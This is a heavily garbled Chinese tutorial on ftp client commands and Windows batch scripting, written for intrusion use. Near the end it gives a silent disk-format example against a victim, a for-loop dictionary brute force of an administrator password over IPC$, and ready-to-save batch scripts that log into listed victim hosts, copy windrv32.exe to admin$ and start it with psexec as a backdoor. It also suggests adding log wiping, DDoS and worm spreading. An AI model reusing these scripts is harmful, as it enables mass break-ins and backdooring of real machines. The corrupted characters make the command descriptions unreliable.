20.get remote-file[local-file], 为程主机的文件将remote-file为至本地硬为的local-file。 21.glob,为置mdelete~mget~mput的文件名为展~缺省为不为展文件名~同命令行的-g参数。
22.hash,每为为1024字为~为示一个hash符号(#)。
23.help[cmd],为示ftp内部命令cmd的助信息~如,帮help get。 24.idle[seconds],为程服为器的将休眠为为器为为[seconds]秒。
25.image,为置二为制为为方式(同binary)。
26.lcd[dir],本地工作目为将切为至dir。
27.ls[remote-dir][local-file],为示为程目为remote-dir~ 存并入本地文件local-file。
28.macdef macro-name,定为一个宏~遇到macdef下的空行为~宏定为为束。 29.mdelete[remote-file],为除为程主机文件。
30.mdir remote-files local-file,与dir为似~但可指定多个为程文件~如 ,mdir *.o.*.zipoutfile 。
31.mget remote-files,为为多个为程文件。
32.mkdir dir-name,在为程主机中建一目为。
33.mls remote-file local-file,同nlist~但可指定多个文件名。
34.mode[modename],文件为为方将式为置为modename~ 缺省为stream方式。 35.modtime file-name,为示为程主机文件的最后修改为为。
36.mput local-file,将个多文件为为至为程主机。
37.newer file-name, 如果为程机中file-name的修改为为比本地硬为同名文件的为为更近~为重为为文件。
38.nlist[remote-dir][local-file],为示为程主机目为的文件为~存清并入本地硬为的local-file。 39.nmap[inpattern outpattern],为置文件名映射机制~ 使得文件为为为~文件中的某些字符相互为为~ 如,nmap $1.$2.$3[$1~$2].[$2~$3]~为为为文件a1.a2.a3为~文件名为为a1~a2。 为命令特为适用于为程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]],为置文件名字符的为机制~如翻ntrans1R~为文件名LLL为将为RRR。
41.open host[port],建立指定ftp服为器为接~可指定为接端口。
42.passive,为入被为为为方式。
43.prompt,为置多个文件为为为的交互提示。
44.proxy ftp-cmd,在次要控制为接中~为行一条ftp命令~ 为命令允为为接两个ftp服为器~以在服为器为为为文件两个条。第一ftp命令必为为open~以首先建立服为器为的为接两个。 45.put local-file[remote-file],本地文件将local-file为送至为程主机。 46.pwd,为示为程主机的当前工作目为。
47.quit,同bye~退出ftp为会。
48.quote arg1~arg2...,将参数逐字为至为程ftp服为器~如,quote syst. 49.recv remote-file[local-file],同get。
50.reget remote-file[local-file],为似于get~ 但若local-file存在~为上从断次为为中为为为。 51.rhelp[cmd-name],为求为得为程主机的助帮。
52.rstatus[file-name],若未指定文件名~为为示为程主机的为~ 否为为示文件为状状。 53.rename[from][to],更改为程主机文件名。
54.reset,除清回答为列。
55.restart marker,从指定的为志marker为~重新为始get或put~如,restart 130。 56.rmdir dir-name,为除为程主机目为。
57.runique,为置文件名只一性存为~若文件存在~为在原文件后加后为.1~ .2等。 58.send local-file[remote-file],同put。
59.sendport,为置PORT命令的使用。
60.site arg1~arg2...,作为将参数SITE命令逐字为送至为程ftp主机。
61.size file-name,为示为程主机文件大小~如,site idle 7200。
62.status,为示当前ftp为状。
63.struct[struct-name],文件为为为为置为将构struct-name~ 缺省为使用stream为构。 64.sunique,为程主机文件名存为为置为将只一(与runique为为)。
65.system,为示为程主机的操作系为为型。
66.tenex,文件为为为型为置为将TENEX机的所需的为型。
67.tick,为置为为为的字为为器数。
68.trace,为置包踪跟。
69.type[type-name],为置文件为为为型为type-name~缺省为ascii~如:type binary~为置二为制为为方式。
70.umask[newmask],为程服为器的将缺省umask为置为newmask~如,umask 3 71.user user-name[password][account],向为程主机表明自己的身份~需要口令为~必为为入口令~如,user anonymous my@email。
72.verbose,同命令行的-v~为置为为参数即尽告方式~ftp 服为器的所有 为响将都为示为用为~缺省为on.
73.?[cmd],同help.
1.Echo 命令
打为回为或为为为求回为功能~或为示消息。如果有任没参数何~echo 命令为示将当前回为为置。为法
echo [{on|off}] [message]
Sample,echo off / echo hello world在为为为用中我为把为命令和重会条号称号定向符;也为管道符~一般用> >> ^,为合来为为为入一些命令到特定格式的文件中.为在将体来以后的例子中为出。
2.@ 命令
表示不为示@后面的命令~在入侵为程中;例如使用批为理来格式化为人的硬为,自然不能为为方看到使用的命令你啦。
Sample,@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 为命令是不可个以使用/y为的~可个参数个喜的是微为留了autoset为为个参数我为~效果和/y是一为的。)
3.Goto 命令
指定跳为到为为~到为为后~程序为理找将从下一行为始的命令。
为法,goto label ;label是~参数指定所要为向的批为理程序中的行。,
Sample,
if {%1}=={} goto noparms
if {%2}=={} goto noparms;如果为里的if、%1、%2不你会明白的为~先跳为去~后面有为为的解为。,
@Rem check parameters if null show usage:noparms
echo Usage: monitor.bat ServerIP PortNumbergoto end
为为的名字可以便起随啦个来个~但是最好是有意为的字母~字母前加,用表示为字母是为为~goto命令就是根据为,为个来找你来会你下一步跳到到那里。最好有一些为明为为为人看起才理解为
的意为啊。
4.Rem 命令
注为命令~在C为言中相当与/*--------*/,不它并会个被为行~只是起一注为的作用~便于为人为为和自你己日后修改。
Rem Message
Sample,@Rem Here is the description.5.Pause 命令
运行 Pause 命令为~为示将下面的消息,
Press any key to continue . . . Sample,
@echo off
:begin
copy a:*.* d,\back
echo Please put a new disk into driver A pause
goto begin
在为例个子中~为为器 A 中磁为上的所有文件均为制到d:\back中。为示的注为提示一为磁为您将另放入为为器 A 为~pause 命令使程序会挂您起~以便更为磁为~然后按任意为为为为理。6.Call 命令
从个另个并一批为理程序为用一批为理程序~且不为止父批为理程序。call 命令接受用作为用目为的为为。如果在脚本或批为理文件外使用 Call~不在命令行它将会起作用。为法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要为用的批为理程序的位置和名称。filename 参数必为具有 .bat 或 .cmd 为展名。7.start 命令
为用外部程序~所有的DOS命令和命令行程序都可以由start命令为用来。入侵常用,参数
MIN 为始为口最窗小化
SEPARATE 在分为的空为为始 内16 位 Windows 程序
HIGH 在 HIGH 为先为为为为始为用程序
REALTIME 在 REALTIME 为先为为为为始为用程序
WAIT 为为用程序启并它等候为束
parameters 为些为为送到命令/程序的参数
为行的为用程序是 32-位 GUI 为用程序为~CMD.EXE 不等为用程序为止就返回命令提示。如果在命令脚本为行~为新行为为不为生内会。
8.choice 命令
choice 使用此命令可以为用为为入一字符~个从运而行不同的命令。使用为为为加/c:~参数c:后为写提示可为入的字符~之为无空格。它的返回为为1234……
如: choice /c:dme defrag,mem,end将为示
defrag,mem,end[D,M,E]?
Sample,
Sample.bat的容如内下:
@echo off
choice /c:dme defrag,mem,end if errorlevel 3 goto defrag ;为先判断数为最高的为为为,
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件行后~为示 运将defrag,mem,end[D,M,E]? 用为可为为d m e ~然后if为句将断作出判~d表示为行为为号defrag的程序段~m表示为行为为号mem的程序段~e表示为行为为号end的程序段~每个程序段最后都以goto end程序将跳到end为为~号将然后程序为示good bye~文件为
束。
9.If 命令
if 表示将断条从决判是否符合为定的件~而定为行不同的命令。 有三为格式: 1、if "参数" == "字符串" 待为行的命令
参数条运运如果等于指定的字符串~为件成立~行命令~否为行下一句。(注意是两个号等,如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待为行的命令
如果有指定的文件~为件成立~行命令~否为行条运运下一句。
如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 字 数待为行的命令
如果返回为等于指定的字~为件成立~行命令~否为行数条运运下一句。如if errorlevel 2 goto x2
DOS程序行为运会个数都返回一字为DOS~为为为为称errorlevel或称返回为~常为的返回为为0、1。
10.for 命令
for 命令是一个参数内比为为为的命令~主要用于在指定的范为循为为行命令。
在批为理文件中使用 FOR 命令为~指定为量为使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一为一字个参数母可替为的。
(set) 指定一或一为文件个。可以使用通配符。
command 指定为每个文件为行的命令。
command-parameters 为特定命令指定参数或命令行为为。
在批为理文件中使用 FOR 命令为~指定为量为使用 %%variable
而不要用 %variable。为量名是称区写分大小的~所以 %i 不同于 %I
如果命令为展名被启用~下列为外的 FOR 命令格式受会到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符~为指定与与目为名匹配~而不文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-为为以 [drive:]path 为根的目为为~指向每个目为中的
FOR 为句。如果在 /R 后有没当指定目为~为使用前
目为。如果集为为一为个点(.)字符~为枚为为目为为。
FOR /L %variable IN (start,step,end) DO command [command-para
为集表示以增量形式从个数为始到为束的一字序列。
因此~(1,1,5) 为生序将列 1 2 3 4 5~(5,-1,1) 为生将
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者~如果有 usebackq 为为:
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一或个个多文件名。为为到 filenameset 中的
下一文件个份并之前~每文件都已被打为、为取为为为理。
为理包括为取文件~其将将分成一行行的文字~然后每行解析成零或更多的符号找号。然后用已到的符字符串为量为为用 For 循为。以默为方式~/F 通为每个文件的每一行中分为的第一空个号您白符。跳为空白行。可通为指定可为 "options"
参数个号个个替代默为解析操作。为为引的字符串包括一或多指定不同解析为为的为为字。为些为为字为:
eol=c - 指一行注为字符的为个尾(就一个)
skip=n - 指在文件为始为忽略的行数。
delims=xxx - 指分隔符集。为个替为了空格和跳格为的默为分隔符集。
tokens=x,y,m-n - 指每行的一符哪个号个被为为到每迭代的 for 本身。为为会称致为外为量名的
格式为一个范为。通为 nth 符号指定 m
符字符号个号串中的最后一字符星~
那为为外的为量在最后一符解将个号析之
分配接并受行的保留文本。
usebackq - 指定新为法已在下为情中使用况:
在作为命令为行一后引的字符个号并串且
引字符为文字字符号并串命令允为在 fi
中使用引为双号称起文件名。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会 myfile.txt 中的每一行~忽略以分号将打为的那些行~每行中的第二个个号和第三符为为为 for 程序~用体号逗和/或空格定界符号个。为注意~为 for 程序的为体句引用 %i 来取得第二个号符~引用 %j 取来个号得第三符~引用 %k来个号号取得第三符后的所有剩余符。为于为有空格的文件名~您双号将来来需要用引文件名括起。为了用为为方式使用引~为双号您需要使用 usebackq 为为~否为~引双号会被理解成是用作定为某个要分析的字符串的。
%i 为为在 for 为句中得到为明~%j 和 %k 是通为
tokens= 为为为为得到为明的。您可以通为 tokens= 一行指定最多 26 符~个号个只要不为为为明一高于字母 z 或Z 的为量。为为住~FOR 为量是为一字母、分大小写和全局的~同为不能有 52 个以上都在使用中。
您为可以在相为字符串上使用 FOR /F 分析为为~是~用为引号将号括之为的 filenameset 括起。来为为~为字符串被会当个个作一文件中的一为一为入行。
最后~可您以用 FOR /F 命令来将分析命令的为出。方法是~括之号为的 filenameset 为成一个会反括字符串。为字符串被当个作命令行~为为到一子 CMD.EXE~其为出会抓被为内并当存~被作文件分析。因此~以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i会当称枚为前为境中的为境为量名。
另外~FOR 为量照的参您替为已被增强。为在可以使用下列为为为法:
~I - 为除任何引号(")~为充 %I
%~fI - 将%I 为充到一完全个径合格的路名
%~dI - 为 将%I 为充到一为为器个号
%~pI - 为 将%I 为充到一路个径
%~nI - 为 将%I 为充到一文件名个
%~xI - 为 将%I 为充到一文件为个展名
%~sI - 为充的路径只含有短名
%~aI - 将%I 为充到文件的文件性属
%~tI - 将%I 为充到文件的日期/为为
%~zI - 将%I 为充到文件的大小
%~$PATH:I - 为找径并将列在路为境为量的目为~ %I 为充到到的找个称第一完全合格的名。如果为境为量未被定为~或者没找会有到文件~此为合为为充
空字符串
可以为合修为符来得到多重为果:
%~dpI - 为 将%I 为充到一为为器和路个号径
%~nxI - 为 将%I 为充到一文件名和为个展名
%~fsI - 为 将%I 为充到一为有个径短名的完整路名%~dp$PATH:i - 为找径并将列在路为境为量的目为~ %I 为充到到的找个号径第一为为器和路。
%~ftzaI - 将%I 为充到为似为出为路的 DIR在以上例子中~%I 和 PATH 可用其他有效数为代替。%~ 为法用一有个效的 FOR 为量名为止。为取为似 %I 的大为量名写比为易为~而且避免与写不分大小的为合为混淆。以上是MS的官方助~帮几个来体下面我为为例子具为明一下For命令在入侵中的用途。
sample2,
利用For命令为为为一台目为来Win2k主机的暴力密为破解。
我为用net use \\ip\ipc$ "password" /u:"administrator"为为为和目为主机为行为接~成来当功为为下密为。最主要的命令是一,条for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密为~在dict.txt中为取个i%的为用net use 命令为接来将运。然后程序行为果为为为find命令,,
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ~为为就ko了。
sample3,
你没你呢当数很有有为手里有大量肉为等着去为后为,木为,~量特为多的为候~原本为心的一件事都会很呢为得郁为,,。文章为为就为到使用批为理文件~可以为化日常或重为性任为。那为如何为为,呵呵~看下去你会就明白了。
主要命令也只有一,;在批为理文件中使用 条FOR 命令为~指定为量使用 %%variable,@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法为为上面的参sample1~在为里它将表示按为序victim.txt中的容为为为内door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令建立来IPC$为接~并copy木为,后为到victim~然后用返回为;If errorlever =,为为成来并功为植后为的主机~echo出~或来者echo到指定的文件。delims= 表示vivtim.txt中的容是一空内来你格分隔的。我想看到为里也一定明白为victim.txt里的容是内什为为的了。为为根据%%i %%j %%k表示的为象来排列~一般就是 ip password username。
代为为形,
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
为只是一自为为个两个植后为批为理的为形~批为理和后为程序;Windrv32.exe,,PSexec.exe需放在
为一目为下.批为理容内
尚可为展,例如:加入清除日志+DDOS的功能,加入定为添加用为的功能,更深入一点可以使之具为
自为为播功能(蠕虫).此为不多做叙述,有为趣的朋友可自行研究.